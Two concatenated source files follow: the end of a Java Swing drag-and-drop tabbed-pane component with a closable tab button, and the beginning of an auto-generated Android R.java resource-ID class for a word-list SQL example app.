.filter(loc -> loc.getIndex() >= 0)
.ifPresent(loc -> {
Graphics2D g2 = (Graphics2D) g.create();
g2.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_OVER, .5f));
g2.setPaint(Color.RED);
initLineRect(tabbedPane, loc);
g2.fill(LINE_RECT);
g2.dispose();
});
// DnDTabbedPane.DropLocation loc = tabbedPane.getDropLocation();
// if (Objects.nonNull(loc) && loc.getIndex() >= 0) {
// Graphics2D g2 = (Graphics2D) g.create();
// g2.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_OVER, .5f));
// g2.setPaint(Color.RED);
// initLineRect(tabbedPane, loc);
// g2.fill(LINE_RECT);
// g2.dispose();
// }
}
}
private static void initLineRect(JTabbedPane tabbedPane, DnDTabbedPane.DropLocation loc) {
int index = loc.getIndex();
int a = Math.min(index, 1); // index == 0 ? 0 : 1;
Rectangle r = tabbedPane.getBoundsAt(a * (index - 1));
if (DnDTabbedPane.isTopBottomTabPlacement(tabbedPane.getTabPlacement())) {
LINE_RECT.setBounds(r.x - LINE_SIZE / 2 + r.width * a, r.y, LINE_SIZE, r.height);
} else {
LINE_RECT.setBounds(r.x, r.y - LINE_SIZE / 2 + r.height * a, r.width, LINE_SIZE);
}
}
}
// How to Use Tabbed Panes (The Java™ Tutorials > Creating a GUI With JFC/Swing > Using Swing Components)
// https://docs.oracle.com/javase/tutorial/uiswing/components/tabbedpane.html
class ButtonTabComponent extends JPanel {
protected final JTabbedPane tabbedPane;
protected ButtonTabComponent(JTabbedPane tabbedPane) {
super(new FlowLayout(FlowLayout.LEFT, 0, 0));
this.tabbedPane = Objects.requireNonNull(tabbedPane, "TabbedPane is null");
setOpaque(false);
JLabel label = new JLabel() {
@Override public String getText() {
int i = tabbedPane.indexOfTabComponent(ButtonTabComponent.this);
if (i != -1) {
return tabbedPane.getTitleAt(i);
}
return null;
}
@Override public Icon getIcon() {
int i = tabbedPane.indexOfTabComponent(ButtonTabComponent.this);
if (i != -1) {
return tabbedPane.getIconAt(i);
}
return null;
}
};
add(label);
label.setBorder(BorderFactory.createEmptyBorder(0, 0, 0, 5));
JButton button = new TabButton();
TabButtonHandler handler = new TabButtonHandler();
button.addActionListener(handler);
button.addMouseListener(handler);
add(button);
setBorder(BorderFactory.createEmptyBorder(2, 0, 0, 0));
}
private class TabButtonHandler extends MouseAdapter implements ActionListener {
@Override public void actionPerformed(ActionEvent e) {
int i = tabbedPane.indexOfTabComponent(ButtonTabComponent.this);
if (i != -1) {
tabbedPane.remove(i);
}
}
@Override public void mouseEntered(MouseEvent e) {
Component component = e.getComponent();
if (component instanceof AbstractButton) {
AbstractButton button = (AbstractButton) component;
button.setBorderPainted(true);
}
}
@Override public void mouseExited(MouseEvent e) {
Component component = e.getComponent();
if (component instanceof AbstractButton) {
AbstractButton button = (AbstractButton) component;
button.setBorderPainted(false);
}
}
}
}
class TabButton extends JButton {
private static final int SIZE = 17;
private static final int DELTA = 6;
protected TabButton() {
super();
setUI(new BasicButtonUI());
setToolTipText("close this tab");
setContentAreaFilled(false);
setFocusable(false);
setBorder(BorderFactory.createEtchedBorder());
setBorderPainted(false);
setRolloverEnabled(true);
}
@Override public Dimension getPreferredSize() {
return new Dimension(SIZE, SIZE);
}
@Override public void updateUI() {
// we don't want to update UI for this button
}
@Override protected void paintComponent(Graphics g) {
super.paintComponent(g);
Graphics2D g2 = (Graphics2D) g.create();
g2.setStroke(new BasicStroke(2));
g2.setPaint(Color.BLACK);
if (getModel().isRollover()) {
g2.setPaint(Color.ORANGE);
}
if (getModel().isPressed()) {
g2.setPaint(Color.BLUE);
}
g2.drawLine(DELTA, DELTA, getWidth() - DELTA - 1, getHeight() - DELTA - 1);
g2.drawLine(getWidth() - DELTA - 1, DELTA, DELTA, getHeight() - DELTA - 1);
g2.dispose();
}
}
|
/* AUTO-GENERATED FILE. DO NOT MODIFY.
*
* This class was automatically generated by the
* aapt tool from the resource data it found. It
* should not be modified by hand.
*/
package com.android.example.wordlistsql;
public final class R {
public static final class anim {
public static final int abc_fade_in=0x7f050000;
public static final int abc_fade_out=0x7f050001;
public static final int abc_grow_fade_in_from_bottom=0x7f050002;
public static final int abc_popup_enter=0x7f050003;
public static final int abc_popup_exit=0x7f050004;
public static final int abc_shrink_fade_out_from_bottom=0x7f050005;
public static final int abc_slide_in_bottom=0x7f050006;
public static final int abc_slide_in_top=0x7f050007;
public static final int abc_slide_out_bottom=0x7f050008;
public static final int abc_slide_out_top=0x7f050009;
public static final int design_appbar_state_list_animator=0x7f05000a;
public static final int design_bottom_sheet_slide_in=0x7f05000b;
public static final int design_bottom_sheet_slide_out=0x7f05000c;
public static final int design_fab_in=0x7f05000d;
public static final int design_fab_out=0x7f05000e;
public static final int design_snackbar_in=0x7f05000f;
public static final int design_snackbar_out=0x7f050010;
}
public static final class attr {
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionBarDivider=0x7f010045;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionBarItemBackground=0x7f010046;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionBarPopupTheme=0x7f01003f;
/** <p>May be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
<p>May be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>wrap_content</code></td><td>0</td><td></td></tr>
</table>
*/
public static final int actionBarSize=0x7f010044;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionBarSplitStyle=0x7f010041;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionBarStyle=0x7f010040;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionBarTabBarStyle=0x7f01003b;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionBarTabStyle=0x7f01003a;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionBarTabTextStyle=0x7f01003c;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionBarTheme=0x7f010042;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionBarWidgetTheme=0x7f010043;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionButtonStyle=0x7f010060;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionDropDownStyle=0x7f01005c;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionLayout=0x7f0100d4;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionMenuTextAppearance=0x7f010047;
/** <p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
*/
public static final int actionMenuTextColor=0x7f010048;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionModeBackground=0x7f01004b;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionModeCloseButtonStyle=0x7f01004a;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionModeCloseDrawable=0x7f01004d;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionModeCopyDrawable=0x7f01004f;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionModeCutDrawable=0x7f01004e;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionModeFindDrawable=0x7f010053;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionModePasteDrawable=0x7f010050;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionModePopupWindowStyle=0x7f010055;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionModeSelectAllDrawable=0x7f010051;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionModeShareDrawable=0x7f010052;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionModeSplitBackground=0x7f01004c;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionModeStyle=0x7f010049;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionModeWebSearchDrawable=0x7f010054;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionOverflowButtonStyle=0x7f01003d;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int actionOverflowMenuStyle=0x7f01003e;
/** <p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int actionProviderClass=0x7f0100d6;
/** <p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int actionViewClass=0x7f0100d5;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int activityChooserViewStyle=0x7f010068;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int alertDialogButtonGroupStyle=0x7f01008c;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int alertDialogCenterButtons=0x7f01008d;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int alertDialogStyle=0x7f01008b;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int alertDialogTheme=0x7f01008e;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int allowStacking=0x7f0100a4;
/** <p>Must be a floating point value, such as "<code>1.2</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int alpha=0x7f0100b6;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int arrowHeadLength=0x7f0100c6;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int arrowShaftLength=0x7f0100c7;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int autoCompleteTextViewStyle=0x7f010093;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int background=0x7f01000c;
/** <p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
*/
public static final int backgroundSplit=0x7f01000e;
/** <p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
*/
public static final int backgroundStacked=0x7f01000d;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int backgroundTint=0x7f01012d;
/** <p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>src_over</code></td><td>3</td><td></td></tr>
<tr><td><code>src_in</code></td><td>5</td><td></td></tr>
<tr><td><code>src_atop</code></td><td>9</td><td></td></tr>
<tr><td><code>multiply</code></td><td>14</td><td></td></tr>
<tr><td><code>screen</code></td><td>15</td><td></td></tr>
</table>
*/
public static final int backgroundTintMode=0x7f01012e;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int barLength=0x7f0100c8;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int behavior_hideable=0x7f0100a2;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int behavior_overlapTop=0x7f0100e6;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int behavior_peekHeight=0x7f0100a1;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int behavior_skipCollapsed=0x7f0100a3;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int borderWidth=0x7f0100cd;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int borderlessButtonStyle=0x7f010065;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int bottomSheetDialogTheme=0x7f0100bf;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int bottomSheetStyle=0x7f0100c0;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int buttonBarButtonStyle=0x7f010062;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int buttonBarNegativeButtonStyle=0x7f010091;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int buttonBarNeutralButtonStyle=0x7f010092;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int buttonBarPositiveButtonStyle=0x7f010090;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int buttonBarStyle=0x7f010061;
/** <p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>top</code></td><td>0x30</td><td></td></tr>
<tr><td><code>bottom</code></td><td>0x50</td><td></td></tr>
</table>
*/
public static final int buttonGravity=0x7f010122;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int buttonPanelSideLayout=0x7f010021;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int buttonStyle=0x7f010094;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int buttonStyleSmall=0x7f010095;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int buttonTint=0x7f0100b7;
/** <p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>src_over</code></td><td>3</td><td></td></tr>
<tr><td><code>src_in</code></td><td>5</td><td></td></tr>
<tr><td><code>src_atop</code></td><td>9</td><td></td></tr>
<tr><td><code>multiply</code></td><td>14</td><td></td></tr>
<tr><td><code>screen</code></td><td>15</td><td></td></tr>
</table>
*/
public static final int buttonTintMode=0x7f0100b8;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int checkboxStyle=0x7f010096;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int checkedTextViewStyle=0x7f010097;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int closeIcon=0x7f0100eb;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int closeItemLayout=0x7f01001e;
/** <p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int collapseContentDescription=0x7f010124;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int collapseIcon=0x7f010123;
/** <p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>top</code></td><td>0x30</td><td></td></tr>
<tr><td><code>bottom</code></td><td>0x50</td><td></td></tr>
<tr><td><code>left</code></td><td>0x03</td><td></td></tr>
<tr><td><code>right</code></td><td>0x05</td><td></td></tr>
<tr><td><code>center_vertical</code></td><td>0x10</td><td></td></tr>
<tr><td><code>fill_vertical</code></td><td>0x70</td><td></td></tr>
<tr><td><code>center_horizontal</code></td><td>0x01</td><td></td></tr>
<tr><td><code>center</code></td><td>0x11</td><td></td></tr>
<tr><td><code>start</code></td><td>0x00800003</td><td></td></tr>
<tr><td><code>end</code></td><td>0x00800005</td><td></td></tr>
</table>
*/
public static final int collapsedTitleGravity=0x7f0100b1;
/** <p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int collapsedTitleTextAppearance=0x7f0100ab;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int color=0x7f0100c2;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int colorAccent=0x7f010083;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
